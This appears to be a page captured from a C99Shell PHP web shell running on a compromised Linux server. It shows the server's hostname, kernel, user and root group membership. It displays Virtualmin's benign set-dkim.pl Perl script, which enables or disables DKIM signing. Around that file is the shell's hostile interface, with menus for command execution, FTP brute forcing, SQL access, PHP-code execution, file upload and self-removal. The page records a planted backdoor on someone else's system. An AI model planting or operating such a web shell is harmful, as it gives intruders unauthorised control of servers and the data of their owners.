!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/webmin/virtual-server/   drwxrwxr-x
Free 28.64 GB of 117.98 GB (24.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     set-dkim.pl (3.67 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl

=head1 set-dkim.pl

Enable or disable DKIM for all domains.

To enable DKIM signing of outdoing emails, run this command with the
C<--enable> flag. Conversely, to turn it off use the C<--disable>. A default
key size and selector will be used when DKIM is enabled for the first time, 
unless specified with the C<--size> and C<--selector> flags.

By default incoming email will not be checked for a valid DKIM signature
unless the C<--verify> flag is given. To turn off verification, use the 
C<--no-verify> flag instead.

Virtualmin enables DKIM for all virtual servers with email and DNS features, but
you can add extra domains to sign for with the C<--add-dkim> flag followed by a
domain name. Similarly you can remove an extra domain with the C<--remove-extra> flag.

=cut

package virtual_server;
if (!$module_name) {
    $main::no_acl_check++;
    $ENV{'WEBMIN_CONFIG'} ||= "/etc/webmin";
    $ENV{'WEBMIN_VAR'} ||= "/var/webmin";
    if ($0 =~ /^(.*)\/[^\/]+$/) {
        chdir($pwd = $1);
        }
    else {
        chop($pwd = `pwd`);
        }
    $0 = "$pwd/set-dkim.pl";
    require './virtual-server-lib.pl';
    $< == 0 || die "set-spam.pl must be run as root";
    }
@OLDARGV = @ARGV;

&set_all_text_print();

# Parse command-line args
if (@ARGV > 0) {
    while(@ARGV > 0) {
        local $a = shift(@ARGV);
        if ($a eq "--enable") {
            $enabled = 1;
            }
        elsif ($a eq "--disable") {
            $enabled = 0;
            }
        elsif ($a eq "--selector") {
            $selector = shift(@ARGV);
            $selector =~ /^[a-z0-9\.\-\_]+/i || &usage("Invalid selector");
            }
        elsif ($a eq "--size") {
            $size = shift(@ARGV);
            $size =~ /^\d+$/ && $size >= 512 || &usage("Invalid key size");
            }
        elsif ($a eq "--verify") {
            $verify = 1;
            }
        elsif ($a eq "--no-verify") {
            $verify = 0;
            }
        elsif ($a eq "--add-extra") {
            $extra = shift(@ARGV);
            $err = &valid_domain_name($extra);
            $err && &usage("Invalid extra domain name : $err");
            push(@addextra, $extra);
            }
        elsif ($a eq "--remove-extra") {
            $extra = shift(@ARGV);
            push(@delextra, $extra);
            }
        elsif ($a eq "--multiline") {
            $multiline = 1;
            }
        elsif ($a eq "--help") {
            &usage();
            }
        else {
            &usage("Unknown parameter $a");
            }
        }
    }
    else {
        &usage("No parameters given");
        }

# Get current config and update
$dkim = &get_dkim_config();
$dkim ||= { 'selector' => &get_default_dkim_selector(),
        'sign' => 1, };
$dkim->{'enabled'} = $enabled if (defined($enabled));
$dkim->{'selector'} = $selector if (defined($selector));
$dkim->{'verify'} = $verify if (defined($verify));
foreach my $e (@addextra) {
    push(@{$dkim->{'extra'}}, $e);
    }
foreach my $e (@delextra) {
    $dkim->{'extra'} = [ grep { $_ ne $e } @{$dkim->{'extra'}} ];
    }
$dkim->{'extra'} = [ &unique(@{$dkim->{'extra'}}) ];

if ($dkim->{'enabled'}) {
    # Turn on DKIM, or change settings
        $ok = &enable_dkim($dkim, 0, $size || $dkim->{'size'} || 2048);
        if (!$ok) {
        print "Failed to enable DKIM\n";
                }
        else {
                $config{'dkim_enabled'} = 1;
                }
        }
else {
        # Turn off DKIM
        $ok = &disable_dkim($dkim);
        $config{'dkim_enabled'} = 0;
        }

# Save config if changed
&lock_file($module_config_file);
&save_module_config();
&unlock_file($module_config_file);
&clear_links_cache();

&run_post_actions();
&virtualmin_api_log(\@OLDARGV);

sub usage
{
print "$_[0]\n\n" if ($_[0]);
print "Enable or disable DKIM for all domains.\n";
print "\n";
print "virtualmin set-dkim [--enable | --disable]\n";
print "                    [--select name]\n";
print "                    [--size bits]\n";
print "                    [--verify | --no-verify]\n";
print "                    [--add-extra domain]*\n";
print "                    [--remove-extra domain]*\n";
exit(1);
}


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--